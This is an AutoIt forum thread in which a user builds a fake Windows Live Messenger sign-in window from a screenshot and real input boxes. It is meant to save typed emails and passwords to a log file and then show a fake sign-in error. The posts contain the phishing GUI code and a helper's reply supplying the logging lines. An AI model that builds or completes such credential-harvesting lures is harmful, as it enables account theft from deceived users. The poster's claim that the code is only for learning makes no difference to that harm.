Jump to content

Log inputbox content to file.txt


nf67
 Share

Recommended Posts

Hello there,

I'm trying to code a fake msn which sends the content of the boxes filled in to a text file.

To do this, I created a GUI with a background ( a screenshot of the sign-in window ) but because it's just a picture I put real working inputboxes on it.

Also the Aanmelden* ( see below for translations ) button has a real working button placed on it.

Questions:

How do I log the content of $Email and $Wachtwoord to a .txt file?

FileWriteLine("C:\ProjectCake\log.txt", $Email)
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord)

only writes down 5 and 6 in the log.txt

How do I set Enter as the hotkey for the button $Aanmelden?

HotKeySet("{Enter}", "$Aanmelden")

Doesn´t work

----------------------------------------------------------------------

Here's my GUI code:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Windows Live Messenger", 329, 636, 193, 125)
$Aanmelden = GUICtrlCreatePic("C:\ProjectCake\MKaanmelden.bmp", 112, 448, 69, 21, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$MSNVenster = GUICtrlCreatePic("C:\ProjectCake\MWgeenknopgeenvakken.bmp", 0, 0, 329, 636, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Email = GUICtrlCreateInput("", 48, 212, 241, 21)
$Wachtwoord = GUICtrlCreateInput("", 48, 258, 241, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
             HotKeySet("{Enter}", "$Aanmelden"); Doesn't work
Case $Aanmelden                       

FileWriteLine("C:\ProjectCake\log.txt", $Email); Only writes 5 or 6
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord); Only writes 5 or 6

    EndSwitch
WEnd

*********

Email translaten to E-mail

Aanmelden translates to Sign-in

Wachtwoord translates to Password

*********

Thanks for your help,

Sorry if such a program isn't allowed on these forums, it is only used to improve my knowledge of AutoIt.

It won't be used to hack into accounts ( if I'd want to do that I'd just download some crappy hacking tool )

Edited by nf67
Link to comment
Share on other sites

Hello there,

I'm trying to code a fake msn which sends the content of the boxes filled in to a text file.

To do this, I created a GUI with a background ( a screenshot of the sign-in window ) but because it's just a picture I put real working inputboxes on it.

Also the Aanmelden* ( see below for translations ) button has a real working button placed on it.

Now what I'm trying to do is:

if Aanmelden* (button) is pressed:

send content of Email* (input)

to C:\log.txt

send content of Wachtwoord* (input)

to C:\log.txt

----------------------------------------------------------------------

Here's my GUI code:

Sendcontentof $Email to C:\log.txt ;How do you code this?
 Sendcontentof $Wachtwoord to C:\log.txt;How do you code this?

*********

Email translaten to E-mail

Aanmelden translates to Sign-in

Wachtwoord translates to Password

*********

Thanks for your help,

Sorry if such a program isn't allowed on these forums, it is only used to improve my knowledge of AutoIt.

It won't be used to hack into accounts ( if I'd want to do that I'd just download some crappy hacking tool )

FileWriteLine("C:\log.txt", $Email)
FileWriteLine("C:\log.txt", $Wachtwoord)

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Link to comment
Share on other sites

FileWriteLine("C:\log.txt", $Email)
FileWriteLine("C:\log.txt", $Wachtwoord)
Thank ou GEOSoft, but when I fill in something at the boxes, it will only say 5 and 6...

My log.txt is only has 5 and 6 in it now :D

How can I get the real text and not just a value?

My code at the moment:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Windows Live Messenger", 329, 636, 193, 125)
$Aanmelden = GUICtrlCreatePic("C:\ProjectCake\MKaanmelden.bmp", 112, 448, 69, 21, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$MSNVenster = GUICtrlCreatePic("C:\ProjectCake\MWgeenknopgeenvakken.bmp", 0, 0, 329, 636, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Email = GUICtrlCreateInput("Email", 48, 212, 241, 21)
$Wachtwoord = GUICtrlCreateInput("Wachtwoord", 48, 258, 241, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
Case $Aanmelden                       

FileWriteLine("C:\ProjectCake\log.txt", $Email)
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord)

    EndSwitch
WEnd
Edited by nf67
Link to comment
Share on other sites

Need some help here:

Error: unable to sign in

if you click Retry it should pop up again

if you click Cancel it should close

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
             HotKeySet("{Enter}", "$Aanmelden"); Doesn't work
Case $Aanmelden                   

FileWriteLine("C:\ProjectCake\log.txt", $Email); Only writes 5 or 6
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord); Only writes 5 or 6
sleep ( 3000 ) 

MsgBox ( 5, "Fout bij inloggen", "Het aanmelden bij WIndows Live Messenger is mislukt. Probeer het later opnieuw. Foutcode: 67711nf3" ) 
if 4 then; IT SHOULD REPEAT FROM HERE 
MsgBox ( 5, "Fout bij inloggen", "Het aanmelden bij WIndows Live Messenger is mislukt. Probeer het later opnieuw. Foutcode: 67711nf3" ) 
else
Winkill ( "Fout bij het inloggen" ) 
endif; TO HERE I THINK.. NOT SURE...(sorry for caps )

    
    EndSwitch
WEnd
Edited by nf67
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...